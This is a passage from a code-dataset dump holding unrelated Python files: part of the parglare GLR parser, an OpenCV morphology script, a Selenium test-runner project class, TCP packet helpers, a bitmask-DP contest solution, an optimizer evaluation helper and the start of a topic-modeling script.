productions.append(symbol_action.prod)\n\n if debug:\n h_print(\"\\tProductions:\\n\\t\\t\",\n '\\n\\t\\t'.join([str(p) for p in productions]))\n\n reductions = []\n for production in productions:\n if debug:\n h_print('Processing production:', str(production),\n level=1, new_line=True)\n prod_len = len(production.rhs)\n if prod_len == 0:\n # Special case, empty reduction\n reductions.append((head, production, [],\n head.position, head.position))\n else:\n # Find roots of possible reductions by going backwards for\n # prod_len steps following all possible paths. Collect\n # subresults along the way to be used with semantic actions\n to_process = [(head, [], prod_len, None)]\n if debug:\n h_print(\"Calculate reduction paths of length {}:\"\n .format(prod_len), level=1)\n h_print(\"start node=\",\n \"[{}], symbol={}, \"\n \"length={}\".format(head, head.state.symbol,\n prod_len), level=2)\n while to_process:\n (node,\n results,\n length,\n last_parent) = to_process.pop()\n length = length - 1\n if debug:\n h_print(\"node = {}\".format(node), level=2,\n new_line=True)\n h_print(\"backpath length = {}{}\"\n .format(prod_len - length,\n \" - ROOT\" if not length else \"\"),\n level=2)\n\n first_parent = None\n for parent in node.parents:\n if debug:\n h_print(\"\", str(parent.head), level=3)\n\n new_results = [parent.results] + results\n\n if first_parent is None:\n first_parent = parent\n\n if last_parent is None:\n last_parent = parent\n\n if length:\n to_process.append((parent.parent, new_results,\n length, last_parent))\n else:\n reductions.append((parent.parent,\n production,\n new_results,\n first_parent.start_position,\n last_parent.end_position))\n first_parent = parent\n\n if debug:\n h_print(\"Reduction paths = \", len(reductions), level=1,\n new_line=True)\n\n for idx, reduction in enumerate(reductions):\n if debug:\n h_print(\"Reduction {}:\".format(idx + 1),\n reductions,\n level=1)\n self.reducing_stack.append((head, reductions))\n self.reducing_stack_states.append(head.state.state_id)\n\n def _reduce(self, head, reduction):\n \"\"\"\n Executes the given reduction.\n \"\"\"\n\n root_head, production, results, \\\n start_position, end_position = reduction\n if start_position is None:\n start_position = end_position = root_head.position\n state = root_head.state.gotos[production.symbol]\n\n if self.debug:\n self.debug_step += 1\n a_print(\"{}. REDUCING head \".format(self.debug_step), str(head),\n new_line=True)\n a_print(\"by prod \", production, level=1)\n a_print(\"to state {}:{}\".format(state.state_id,\n state.symbol), level=1)\n a_print(\"root is \", root_head, level=1)\n a_print(\"Position span: {} - {}\".format(start_position,\n end_position), level=1)\n\n new_head = GSSNode(self, state, head.position,\n head.shift_level,\n number_of_trees=head.number_of_trees,\n token_ahead=head.token_ahead)\n\n parent = GSSNodeParent(root_head, new_head, results,\n start_position, end_position,\n production=production)\n\n if not self.dynamic_filter or \\\n self._call_dynamic_filter(parent, head.state, state,\n REDUCE, production, results):\n\n parent.results = self._call_reduce_action(parent, results)\n\n # Check for possible automata loops for the newly reduced head.\n # Handle loops by creating GSS loops for empty reduction loops or\n # rejecting cyclic reductions for non-empty reductions.\n if self.debug:\n h_print('Check loops. Reduce stack states:',\n self.reducing_stack_states,\n level=1)\n if new_head.state.state_id in self.reducing_stack_states:\n if root_head.shift_level == new_head.shift_level:\n # Empty reduction. If we already have this on the reduce\n # stack we shall make a GSS loop and remove this head from\n # further reductions.\n for shead, __ in reversed(self.reducing_stack):\n if new_head == shead:\n # If found we shall make a GSS loop only if the\n # reduction is empty.\n if root_head == head:\n if self.debug:\n h_print('Looping due to empty reduction.'\n ' Making GSS loop.', level=1)\n shead.create_link(parent)\n else:\n if self.debug:\n h_print(\n 'Looping with an empty tree reduction',\n level=1)\n\n if self.debug:\n h_print('Not processing further this head.',\n level=1)\n return\n else:\n # Non-empty reduction If the same state has been reduced,\n # we have looping by cyclic grammar and should report and\n # reject invalid state.\n for shead, __ in reversed(self.reducing_stack):\n if new_head == shead \\\n and root_head == shead.parents[0].parent:\n if self.debug:\n a_print('Cyclic grammar detected. '\n 'Breaking loop.',\n level=1)\n h_print('Not processing further this head.',\n level=1)\n return\n\n # No cycles. Do the reduction.\n if self.debug:\n a_print(\"New head: \", new_head, level=1, new_line=True)\n if self.debug_trace:\n self._trace_head(new_head)\n self._trace_step(head, new_head, root_head,\n \"R:{}\".format(dot_escape(production)))\n\n new_head.create_link(parent)\n return new_head\n\n def _shift(self, head, to_state):\n \"\"\"\n Shifts the head and executes semantic actions.\n \"\"\"\n debug = self.debug\n if debug:\n self.debug_step += 1\n a_print(\"{}. SHIFTING head: \".format(self.debug_step), head,\n new_line=True)\n\n for shifted_head in self.shifted_heads:\n if shifted_head.state is to_state:\n break\n else:\n shifted_head = None\n\n if shifted_head:\n # If this token has already been shifted connect\n # shifted head to this head.\n shead_parent = shifted_head.parents[0]\n parent = GSSNodeParent(head, shifted_head, shead_parent.results,\n shead_parent.start_position,\n shead_parent.end_position,\n token=shead_parent.token)\n if not self.dynamic_filter or \\\n self._call_dynamic_filter(parent, head.state, to_state,\n SHIFT):\n\n shifted_head.create_link(parent)\n if debug and self.debug_trace:\n token = head.token_ahead\n self._trace_step(head, shifted_head, head,\n \"S:{}({})\".format(\n dot_escape(token.symbol.name),\n dot_escape(token.value)))\n else:\n # We need to create new shifted head\n if debug:\n self._debug_context(head.position,\n lookahead_tokens=head.token_ahead,\n expected_symbols=None)\n\n end_position = head.position + len(head.token_ahead)\n new_head = GSSNode(self, to_state, end_position,\n head.shift_level + 1)\n parent = GSSNodeParent(head, new_head, None,\n head.position, end_position,\n token=head.token_ahead)\n\n if not self.dynamic_filter or \\\n self._call_dynamic_filter(parent, head.state, to_state,\n SHIFT):\n\n parent.results = self._call_shift_action(parent)\n\n if self.debug:\n token = head.token_ahead\n a_print(\"New shifted head \", new_head, level=1)\n if self.debug_trace:\n self._trace_head(new_head)\n self._trace_step(head, new_head, head,\n \"S:{}({})\".format(\n dot_escape(token.symbol.name),\n dot_escape(token.value)))\n\n new_head.create_link(parent)\n self.shifted_heads.append(new_head)\n\n def _enter_error_reporting(self):\n \"\"\"\n To correctly report what is found ahead and what is expected we shall:\n\n - execute all grammar recognizers at the farther position reached\n in the input by the active heads. This will be part of the error\n report (what is found ahead if anything can be recognized).\n\n - for all last reducing heads, simulate parsing for each of\n possible lookaheads in the head's state until either SHIFT or\n ACCEPT is successfuly executed. Collect each possible lookahead\n where this is achieved for reporting. This will be another part\n of the error report (what is expected).\n\n \"\"\"\n\n self.in_error_reporting = True\n\n # Start with the last shifted heads sorted by position.\n self.last_shifted_heads.sort(key=lambda h: h.position, reverse=True)\n last_head = self.last_shifted_heads[0]\n farthest_heads = takewhile(\n lambda h: h.position == last_head.position,\n self.last_shifted_heads)\n\n self.tokens_ahead = self._get_all_possible_tokens_ahead(last_head)\n\n for head in farthest_heads:\n for possible_lookahead in head.state.actions.keys():\n h = head.for_token(Token(possible_lookahead, []))\n self.shifted_heads.append(h)\n\n def _do_recovery(self):\n \"\"\"\n If recovery is enabled, does error recovery for the heads in\n last_shifted_heads.\n\n \"\"\"\n error = self.errors[-1]\n debug = self.debug\n self.shifted_heads = []\n for head in self.last_shifted_heads:\n if debug:\n input_str = head.input_str\n symbols = head.state.actions.keys()\n h_print(\"Recovery initiated for head {}.\".format(head),\n level=1, new_line=True)\n h_print(\"Symbols expected: \",\n [s.name for s in symbols], level=1)\n if type(self.error_recovery) is bool:\n # Default recovery\n if debug:\n prints(\"\\tDoing default error recovery.\")\n successful = self.default_error_recovery(head)\n else:\n # Custom recovery provided during parser construction\n if debug:\n prints(\"\\tDoing custom error recovery.\")\n successful = self.error_recovery(head, error)\n\n if successful:\n error.location.context.end_position = head.position\n if debug:\n a_print(\"New position is \",\n pos_to_line_col(input_str, head.position),\n level=1)\n a_print(\"New lookahead token is \", head.token_ahead,\n level=1)\n self.shifted_heads.append(head)\n else:\n if debug:\n a_print(\"Killing head: \", head, level=1)\n if self.debug_trace:\n self._trace_step_kill(head)\n return bool(self.shifted_heads)\n\n def _remove_transient_state(self):\n \"\"\"\n Delete references to transient parser objects to lower memory\n consumption.\n \"\"\"\n del self.reduced_heads\n del self.shifted_heads\n del self.reducing_stack\n del self.reducing_stack_states\n del self.last_shifted_heads\n\n def _debug_active_heads(self, heads):\n if not heads:\n h_print('No active heads.')\n else:\n h_print(\"Active heads = \", len(heads))\n for head in heads:\n prints(\"\\t{}\".format(head))\n h_print(\"Number of trees = {}\".format(\n sum([h.number_of_trees for h in heads])))\n\n def _debug_reduce_heads(self):\n heads = list(self.reduced_heads.values())\n h_print(\"Reduced heads = \", len(heads))\n for head in heads:\n prints(\"\\t{}\".format(head))\n\n heads = list(self.heads_for_reduction.values())\n h_print(\"Heads for reduction:\", len(heads))\n for head in heads:\n prints(\"\\t{}\".format(head))\n\n def _debug_context(self, position, layout_content=None,\n lookahead_tokens=None, expected_symbols=None):\n input_str = self.input_str\n h_print(\"Position:\",\n pos_to_line_col(input_str, position))\n h_print(\"Context:\", _(position_context(input_str, position)))\n if layout_content:\n h_print(\"Layout: \", \"'{}'\".format(_(layout_content)), level=1)\n if expected_symbols:\n h_print(\"Symbols expected: \",\n [s.name for s in expected_symbols])\n if lookahead_tokens:\n h_print(\"Token(s) ahead:\", _(str(lookahead_tokens)))\n\n @no_colors\n def _trace_head(self, head):\n self.dot_trace += '{} [label=\"{}:{}\"];\\n'\\\n .format(head.key, head.state.state_id,\n dot_escape(head.state.symbol.name))\n\n @no_colors\n def _trace_step(self, old_head, new_head, root_head, label=''):\n new_head_key = new_head.key if isinstance(new_head, GSSNode) \\\n else new_head\n self.dot_trace += '{} -> {} [label=\"{}. {}\" {}];\\n'.format(\n old_head.key, new_head_key, self.debug_step, label,\n TRACE_DOT_STEP_STYLE)\n self.dot_trace += '{} -> {};\\n'.format(new_head_key, root_head.key)\n\n @no_colors\n def _trace_step_finish(self, from_head):\n self._trace_step(from_head, \"success\", from_head)\n\n @no_colors\n def _trace_step_kill(self, from_head):\n self.dot_trace += \\\n '{}_killed [shape=\"diamond\" fillcolor=\"red\" label=\"killed\"];\\n'\\\n .format(from_head.key)\n self.dot_trace += '{} -> {}_killed [label=\"{}.\" {}];\\n'\\\n .format(from_head.key, from_head.key, self.debug_step,\n TRACE_DOT_STEP_STYLE)\n\n @no_colors\n def _trace_step_drop(self, from_head, to_head):\n self.dot_trace += '{} -> {} [label=\"drop empty\" {}];\\n'\\\n .format(from_head.key, to_head.key, TRACE_DOT_DROP_STYLE)\n\n def _export_dot_trace(self):\n file_name = \"{}_trace.dot\".format(self.file_name) \\\n if self.file_name else \"parglare_trace.dot\"\n with codecs.open(file_name, 'w', encoding=\"utf-8\") as f:\n f.write(DOT_HEADER)\n f.write(self.dot_trace)\n f.write(\"}\\n\")\n\n prints(\"Generated file {}.\".format(file_name))\n prints(\"You can use dot viewer or generate pdf with the \"\n \"following command:\")\n h_print(\"dot -Tpdf {0} -O {0}.pdf\".format(file_name))\n\n\nclass GSSNodeParent(object):\n \"\"\"\n A link to the parent node in GSS stack.\n \"\"\"\n\n __slots__ = ['parent', 'head', 'results', 'start_position', 'end_position',\n 'token', 'production', 'node', 'extra']\n\n def __init__(self, parent, head, results, start_position,\n end_position=None, token=None, production=None):\n self.parent = parent\n self.head = head\n self.results = results\n self.start_position = start_position\n self.end_position = end_position \\\n if end_position is not None else start_position\n\n # For shift nodes\n self.token = token\n\n # For reduced nodes\n self.production = production\n\n # Caching extra for faster access\n self.extra = self.head.parser.extra\n\n # Parse tree node used if parse tree is produced\n self.node = None\n\n @property\n def layout_content(self):\n return self.parent.layout_content_ahead\n\n def __getattr__(self, name):\n \"\"\"\n All other property access is delegated to the parsing head.\n \"\"\"\n return getattr(self.head, name)\n\n def __str__(self):\n return \"start_position={}, end_position={}\".format(\n self.start_position, self.end_position)\n\n def __repr__(self):\n return str(self)\n\n\nclass GSSNode(object):\n \"\"\"\n Graphs Structured Stack node.\n\n Attributes:\n parser(GLRParser):\n state(LRState):\n position(int):\n shift_level(int):\n parents(list of GSSNodeParent):\n Each stack node might have multiple parents which represent\n multiple path parse took to reach the current state. Each\n parent link keeps a result of semantic action executed during\n shift or reduce operation that created this node/link and the\n link to the node from which it was reduced (None if shifted).\n node_id(int): Unique node id. Nodes with the same id and lookahead\n token are considered the same. Calculated from shift level and\n state id.\n number_of_trees(int): Total number of trees/solution defined by this\n head.\n \"\"\"\n __slots__ = ['parser', 'node_id', 'state', 'position', 'shift_level',\n 'parents', 'number_of_trees', 'token_ahead',\n 'layout_content_ahead', '_hash']\n\n def __init__(self, parser, state, position, shift_level, number_of_trees=0,\n token=None, token_ahead=None):\n self.parser = parser\n self.state = state\n self.position = position\n self.shift_level = shift_level\n self.node_id = 100000000 * state.state_id + shift_level\n\n self.token_ahead = token_ahead\n self.layout_content_ahead = ''\n\n self.parents = []\n self.number_of_trees = number_of_trees\n\n def merge_head(self, other, parser):\n \"\"\"\n Merge same top stack nodes.\n \"\"\"\n if self is other:\n pass\n self.number_of_trees += other.number_of_trees\n for p in other.parents:\n p.head = self\n self.parents.extend(other.parents)\n\n if parser.debug:\n h_print(\"Merging head \", other)\n h_print(\"to head\", self, level=1)\n\n def create_link(self, parent):\n self.parents.append(parent)\n self.number_of_trees = parent.parent.number_of_trees\n if self.parser.debug:\n h_print(\"Creating link \\tfrom head:\", self, level=1)\n h_print(\" to head:\", parent.parent, level=3)\n\n def for_token(self, token):\n \"\"\"\n Create head for the given token either by returning this head if the\n token is appropriate or making a clone.\n\n This is used to support lexical ambiguity. Multiple tokens might be\n matched at the same state and position. In this case parser should\n fork and this is done by cloning stack head.\n \"\"\"\n if self.token_ahead is None:\n self.token_ahead = token\n return self\n elif self.token_ahead == token:\n return self\n else:\n new_head = GSSNode(self.parser, self.state, self.position,\n self.shift_level, self.number_of_trees,\n token_ahead=token)\n new_head.parents = list(self.parents)\n return new_head\n\n def __eq__(self, other):\n \"\"\"\n Stack nodes are equal if they are on the same position in the same\n state for the same lookahead token.\n \"\"\"\n return self.node_id == other.node_id \\\n and self.token_ahead == other.token_ahead\n\n def __ne__(self, other):\n return not self == other\n\n def __str__(self):\n return _(\"\".format(\n self.state.state_id, self.state.symbol,\n id(self),\n \", token ahead={}\".format(self.token_ahead)\n if self.token_ahead is not None else \"\",\n self.position,\n len(self.parents),\n self.number_of_trees))\n\n def __repr__(self):\n return str(self)\n\n def __hash__(self):\n return hash((self.node_id, self.token_ahead.symbol))\n\n @property\n def key(self):\n \"\"\"Head unique idenfier used for dot trace.\"\"\"\n return \"head_{}\".format(id(self))\n\n @property\n def extra(self):\n return self.parser.extra\n\n @extra.setter\n def extra(self, new_value):\n self.parser.extra = new_value\n\n @property\n def input_str(self):\n return self.parser.input_str\n\n @property\n def file_name(self):\n return self.parser.file_name\n\n @property\n def symbol(self):\n return self.state.symbol\n\n\nDOT_HEADER = \"\"\"\n digraph parglare_trace {\n rankdir=LR\n fontname = \"Bitstream Vera Sans\"\n fontsize = 8\n node[\n style=filled,\n fillcolor=aliceblue\n ]\n nodesep = 0.3\n edge[dir=black,arrowtail=empty]\n\n\"\"\"\n\nTRACE_DOT_STEP_STYLE = 'color=\"red\" style=\"dashed\"'\nTRACE_DOT_DROP_STYLE = 'color=\"orange\" style=\"dotted\"'\n","sub_path":"parglare/glr.py","file_name":"glr.py","file_ext":"py","file_size_in_byte":35741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"149770758","text":"# opencv_47 + opencv_48\n# 모폴로지 연산\n# 형태소(Structing element)의 크기와 형태를 지정\n# 크기 : 3x3 5x5 7x7 9x9\n# 형태 : 십자가모양(cv2.MORPH_CROSS), 직사각형(cv2.MORPH_RECT), 타원(cv2.MORPH_ELLIPSE)\n# kernel = cv2.getStucturingElement(형태, 형태소크기(9,9)\nimport cv2\nimport numpy as np\n\nimg_src1 = cv2.imread('img/img16.png', cv2.IMREAD_COLOR)\nimg_src2 = cv2.imread('img/img16.png', cv2.IMREAD_COLOR)\n\nimg_gray = cv2.cvtColor(img_src1, cv2.COLOR_BGR2GRAY)\nimg_grays = cv2.cvtColor(img_gray, cv2.COLOR_GRAY2BGR)\n\nmy_color = (0, 255, 0)\ntext_color = (255, 0, 0)\nthickness = 2\n\nkernel = cv2.getStructuringElement(cv2.MORPH_RECT, (3, 3))\n\nret, img_binary = cv2.threshold(img_gray, 150, 255, cv2.THRESH_BINARY_INV)\nmask = cv2.merge((img_binary, img_binary, img_binary))\n\n# CLOSING 5번은 dilate5번 진행후 erode5번 진행하는것과 같다.\nimg_morp1 = cv2.morphologyEx(img_binary, cv2.MORPH_CLOSE, kernel, iterations=5)\nmask_morp1 = cv2.merge((img_morp1, img_morp1, img_morp1))\n\n# OPENING 5번은 erode5번 진행후 dilate5번 진행하는것과 같다.\nimg_morp2 = cv2.morphologyEx(img_binary, cv2.MORPH_OPEN, kernel, iterations=5)\nmask_morp2 = cv2.merge((img_morp2, img_morp2, img_morp2))\n\n#contours, hierachy = cv2.findContours(img_binary, cv2.RETR_LIST, cv2.CHAIN_APPROX_NONE)\ncontours, hierachy = cv2.findContours(img_morp1, cv2.RETR_LIST, cv2.CHAIN_APPROX_NONE)\n#contours, hierachy = cv2.findContours(img_morp2, cv2.RETR_LIST, cv2.CHAIN_APPROX_NONE)\n\nfor i, contour in enumerate(contours):\n area = cv2.contourArea(contour)\n\n if area > 1000:\n cv2.drawContours(img_src2, contours, i, my_color, thickness)\n\n mu = cv2.moments(contour)\n cx = int(mu['m10'] / (mu['m00'] + 1e-5))\n cy = int(mu['m01'] / (mu['m00'] + 1e-5))\n\n cv2.circle(img_src2, (cx, cy), 5, (0, 255, 255), -1)\n cv2.putText(img_src2, f'{i}: {int(area)}', (cx-50, cy-20), cv2.FONT_HERSHEY_COMPLEX, 0.8, text_color, 1)\n\n x, y, w, h = cv2.boundingRect(contour)\n cv2.rectangle(img_src2, (x, y), (x+w, y+h), (255, 255, 0), 1)\n\n cont = cv2.hconcat([img_src1, img_grays, img_src2])\n cont1 = cv2.hconcat([mask, mask_morp1, mask_morp2])\n\n conts = cv2.vconcat([cont, cont1])\n\n cv2.imshow('img', conts)\n\ncv2.waitKey(0)\n\ncv2.destroyAllWindows()","sub_path":"OpenCV 04일차/실습/opencv_49.py","file_name":"opencv_49.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"125601865","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport math\nimport time\nimport json\nimport inspect\nimport unittest\nimport threading\nfrom fasttest_selenium.common import *\nfrom fasttest_selenium.utils import *\nfrom fasttest_selenium.keywords import keywords\nfrom fasttest_selenium.runner.run_case import RunCase\nfrom fasttest_selenium.common.logging import log_init\nfrom fasttest_selenium.drivers.driver_base import DriverBase\nfrom fasttest_selenium.result.test_runner import TestRunner\n\nclass Project(object):\n\n def __init__(self, index=0, workers=1, remote=None):\n\n self.__index = index\n self.__workers = workers\n self.__remote = remote\n self.__init_project()\n self.__init_config()\n self.__init_logging()\n self.__analytical_testcase_file()\n self.__analytical_common_file()\n self.__init_data()\n self.__init_keywords()\n self.__init_resource()\n self.__init_testcase_suite()\n\n def __init_project(self):\n\n for path in [path for path in inspect.stack() if str(path[1]).endswith(\"runtest.py\") or str(path[1]).endswith(\"run.py\")]:\n self.__ROOT = os.path.dirname(path[1])\n sys.path.append(self.__ROOT)\n sys.path.append(os.path.join(self.__ROOT, 'Scripts'))\n Var.ROOT = self.__ROOT\n Var.global_var = {} # 全局变量\n Var.extensions_var = {} # 扩展数据变量\n Var.common_var = {} # common临时变量,call执行完后重置\n Var.timeout = 10 # 超时时间\n\n def __init_config(self):\n\n self.__config = analytical_file(os.path.join(self.__ROOT, 'config.yaml'))\n for configK, configV in self.__config.items():\n Var[configK] = configV\n\n if Var.browser.lower() not in ['chrome', 'safari', 'firefox', 'ie', 'opera', 'phantomjs']:\n raise ValueError('browser parameter is illegal!')\n\n browser_options = None\n if 'desiredcaps' in self.__config.keys():\n desiredcaps = self.__config['desiredcaps'][0]\n if Var.browser.lower() in desiredcaps.keys():\n browser_options = Dict(desiredcaps[Var.browser.lower()][0])\n Var.start_info = Dict({\n 'browser': Var.browser,\n 'options': browser_options,\n 'maxWindow': Var.maxWindow,\n 'remote': self.__remote\n })\n\n\n def __init_data(self):\n\n if os.path.exists(os.path.join(Var.ROOT, 'data.json')):\n with open(os.path.join(Var.ROOT, 'data.json'), 'r', encoding='utf-8') as f:\n dict = Dict(json.load(fp=f))\n if dict:\n log_info('******************* analytical data *******************')\n for extensionsK, extensionsV in dict.items():\n log_info(' {}: {}'.format(extensionsK, extensionsV))\n Var.extensions_var[extensionsK] = extensionsV\n if not Var.extensions_var:\n Var.extensions_var = {}\n if 'variable' not in Var.extensions_var:\n Var.extensions_var['variable'] = {}\n\n def __init_keywords(self):\n\n Var.default_keywords_data = keywords.return_keywords()\n\n if 'keywords' not in Var.extensions_var.keys():\n Var.new_keywords_data = []\n return\n Var.new_keywords_data = Var.extensions_var['keywords']\n\n def __init_resource(self):\n\n log_info('******************* analytical resource *******************')\n if 'resource' not in Var.extensions_var.keys():\n Var.extensions_var['resource'] = {}\n\n for resource, path in Var.extensions_var['resource'].items():\n resource_file = os.path.join(Var.ROOT, path)\n if not os.path.isfile(resource_file):\n log_error('No such file or directory: {}'.format(resource_file), False)\n continue\n Var.extensions_var['resource'][resource] = resource_file\n log_info(' {}: {}'.format(resource, resource_file))\n\n def __init_logging(self):\n\n name = threading.currentThread().getName()\n report_time = time.strftime(\"%Y%m%d%H%M%S\", time.localtime(time.time()))\n report_child = \"{}_{}_{}\".format(Var.browser, report_time, name)\n Var.report = os.path.join(Var.ROOT, \"Report\", report_child)\n\n if not os.path.exists(Var.report):\n os.makedirs(Var.report)\n os.makedirs(os.path.join(Var.report, 'resource'))\n\n def __analytical_testcase_file(self):\n\n log_info('******************* analytical config *******************')\n for configK, configV in self.__config.items():\n log_info(' {}: {}'.format(configK, configV))\n log_info('******************* analytical testcase *******************')\n testcase = TestCaseUtils()\n if Var.testCase:\n self.__testcase = testcase.testcase_path(Var.ROOT, Var.testCase)\n else:\n self.__testcase = testcase.testcase_path(Var.ROOT, Var.testcase)\n log_info(' case: {}'.format(len(self.__testcase)))\n if self.__testcase:\n for case in self.__testcase:\n log_info(' {}'.format(case))\n\n def __analytical_common_file(self):\n\n log_info('******************* analytical common *******************')\n Var.common_func = Dict()\n common_dir = os.path.join(Var.ROOT, \"Common\")\n for rt, dirs, files in os.walk(common_dir):\n if rt == common_dir:\n self.__load_common_func(rt, files)\n elif rt.split(os.sep)[-1].lower() == Var.platformName.lower():\n self.__load_common_func(rt, files)\n\n def __load_common_func(self,rt ,files):\n\n for f in files:\n if not f.endswith('yaml'):\n continue\n for commonK, commonV in analytical_file(os.path.join(rt, f)).items():\n Var.common_func[commonK] = commonV\n log_info(' {}: {}'.format(commonK, commonV))\n\n\n def __init_testcase_suite(self):\n\n self.__suite = []\n testcase = self.__testcase\n if self.__workers > 1:\n i = self.__index\n n = self.__workers\n l = len(self.__testcase)\n testcase = self.__testcase[math.floor(i / n * l):math.floor((i + 1) / n * l)]\n for case_path in testcase:\n testcase = analytical_file(case_path)\n testcase['testcase_path'] = case_path\n Var.testcase = testcase\n subsuite = unittest.TestLoader().loadTestsFromTestCase(RunCase)\n self.__suite.append(subsuite)\n Var.testcase = None\n\n def start(self):\n if not Var.isReset:\n server = ServerUtils(Var.start_info)\n Var.instance = server.start_server()\n DriverBase.init()\n\n suite = unittest.TestSuite(tuple(self.__suite))\n runner = TestRunner()\n runner.run(suite)\n\n if not Var.isReset:\n server.stop_server(Var.instance)\n\n if Var.all_result:\n if Var.all_result.errorsList:\n log_info(' Error case:')\n for error in Var.all_result.errorsList:\n log_error(error, False)\n\n if Var.all_result.failuresList:\n log_info(' Failed case:')\n for failure in Var.all_result.failuresList:\n log_error(failure, False)\n return Var.all_result","sub_path":"fasttest_selenium/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":7402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"102647728","text":"ENDIANNESS = \"big\"\n\nTYPES = {\n \"PING\": 0,\n \"HANDSHAKE\": 1,\n \"MESSAGE\": 2,\n \"QUIT\": 3\n}\n\nERR_DATA = [-1, -1]\n\ndef int_to_bytes(i, padding=2):\n return (i).to_bytes(padding, byteorder=ENDIANNESS)\n \ndef bytes_to_int(_bytes):\n return int.from_bytes(_bytes, byteorder=ENDIANNESS)\n\ndef get_next_packet(socket):\n \"\"\"\n returns [packet type (int), packet data (bytes)]\n\n if this fails (no data - disconnected client, IndexError) return `utils.ERR_DATA`\n \"\"\"\n\n packet_info = socket.recv(0x3) # recv packet size of this packet + type\n\n if not packet_info:\n # TCP Disconnect - ignore\n return ERR_DATA\n\n try:\n packet_type = packet_info[2] # Only 1 byte so the ENDIANNESS doesen't matter - It's just a normal int\n packet_size = bytes_to_int(packet_info[:2])\n if packet_size:\n packet_data = socket.recv(packet_size)\n else:\n packet_data = \"\"\n return [packet_type, packet_data]\n except IndexError:\n return ERR_DATA\n\ndef send_packet(socket, data, p_type=\"MESSAGE\"):\n \"\"\"\n data should be in bytes\n \"\"\"\n data = int_to_bytes(len(data)) + int_to_bytes(TYPES[p_type], 1) + data\n socket.send(data)\n","sub_path":"source/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"53428190","text":"'''\nN , M = map(int,input().split())\nA = []\nB = []\nC = []\nfor _ in range(M):\n a , b = map(int , input().split())\n C.append(list(map(int , input().split())))\n A.append(a)\n B.append(b)\ndp = [[-1] * M for _ in range(N)]\n'''\n\nn, m = [int(x) for x in input().split()]\n\nINF = int(10e8 + 1)\ndp = [INF] * (1 << n)\ndp[0] = 0\n\nfor j in range(m):\n cost = int(input().split()[0])\n\n boxes = [int(x) - 1 for x in input().split()]\n mask = 0\n\n mask = sum(1 << box for box in boxes)\n\n for i in range(1 << n):\n if dp[i] + cost < dp[i | mask]:\n dp[i | mask] = dp[i] + cost\n\nres = dp[-1] if dp[-1] != INF else -1\n#print(dp)\nprint(res)","sub_path":"ABC/142/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"256762392","text":"import numpy as np\nimport subprocess\nimport os\n\nALG=\"FOO\"\nRUN=0\nIRACE = False\nmodifier = 1\n\ndef save_history(x, objs, cons):\n GEN = 0\n while os.path.isfile(ALG+\"/testrun_mop/{:03}\".format(RUN)+\"th_run/optimizer/interface/gen{:04}\".format(GEN)+\"_pop_cons_eval.txt\"):\n GEN = GEN + 1\n \n f1 = ALG+\"/testrun_mop/{:03}\".format(RUN)+\"th_run/optimizer/interface/gen{:04}\".format(GEN)+\"_pop_vars_eval.txt\"\n f2 = ALG+\"/testrun_mop/{:03}\".format(RUN)+\"th_run/optimizer/interface/gen{:04}\".format(GEN)+\"_pop_objs_eval.txt\"\n f3 = ALG+\"/testrun_mop/{:03}\".format(RUN)+\"th_run/optimizer/interface/gen{:04}\".format(GEN)+\"_pop_cons_eval.txt\"\n \n os.makedirs(ALG+\"/testrun_mop/{:03}\".format(RUN)+\"th_run/optimizer/interface\", exist_ok=True)\n \n np.savetxt(f1, x, delimiter='\t', newline='\\n')\n np.savetxt(f2, objs, delimiter='\t', newline='\\n')\n np.savetxt(f3, cons, delimiter='\t', newline='\\n')\n \n return\n \ndef evaluate(x):\n if os.path.isfile(\"pop_vars_eval.txt\"):\n os.remove(\"pop_vars_eval.txt\")\n if os.path.isfile(\"pop_objs_eval.txt\"):\n os.remove(\"pop_objs_eval.txt\")\n if os.path.isfile(\"pop_cons_eval.txt\"):\n os.remove(\"pop_cons_eval.txt\")\n #write X to a file\n np.savetxt(\"pop_vars_eval.txt\", x, delimiter='\t', newline='\\n')\n \n #evaluate X\n subprocess.call([\"./moon_sop\", \"./\"])\n \n #load the result of the evaluation\n objs = np.loadtxt(\"pop_objs_eval.txt\") #maximization of objs\n cons = np.loadtxt(\"pop_cons_eval.txt\") #constraints: c0<0.05, c1<0.3\n \n #history\n if not IRACE:\n save_history(x, objs, cons)\n \n #penalty\n c0 = np.array([0 if x[0]<0.05 else x[0] for x in cons])\n c1 = np.array([0 if x[1]<0.3 else x[1] for x in cons])\n fit = objs + (c0+c1)*modifier\n \n return fit","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"279220325","text":"from sklearn.decomposition import NMF, LatentDirichletAllocation\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\nimport codecs\nimport pandas as pd\nfrom nltk.corpus import stopwords, wordnet \nfrom nltk.stem.wordnet import WordNetLemmatizer\nimport string\nimport re\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\n\nwith codecs.open('data/speeches.csv', 'r', encoding='utf-8', errors='ignore') as fdata:\n df = pd.read_csv(fdata)\n\n\ndef display_topics(model, feature_names, no_top_words):\n for topic_idx, topic in enumerate(model.components_):\n print(\"Topic {}:\".format(topic_idx))\n print(\" \".join([feature_names[i]\n for i in topic.argsort()[:-no_top_words - 1:-1]]))\n\n\ndef tfidf_fit(documents):\n tfidf_vectorizer = TfidfVectorizer(stop_words='english')\n tfidf = tfidf_vectorizer.fit_transform(documents)\n return tfidf\n\n\n\ndef clean_inaug_speeches(df): \n documents = []\n for idx, d in df['text'].iteritems():\n d = d.replace('0092', '')\n d = d.replace('0097', '')\n documents.append(d)\n\n year = int(df.loc[idx]['Date'][-4:])\n return documents, year\n\ndef lda_topics(documents, no_topics, no_words):\n # LDA can only use raw term counts for LDA because it is a probabilistic graphical model\n 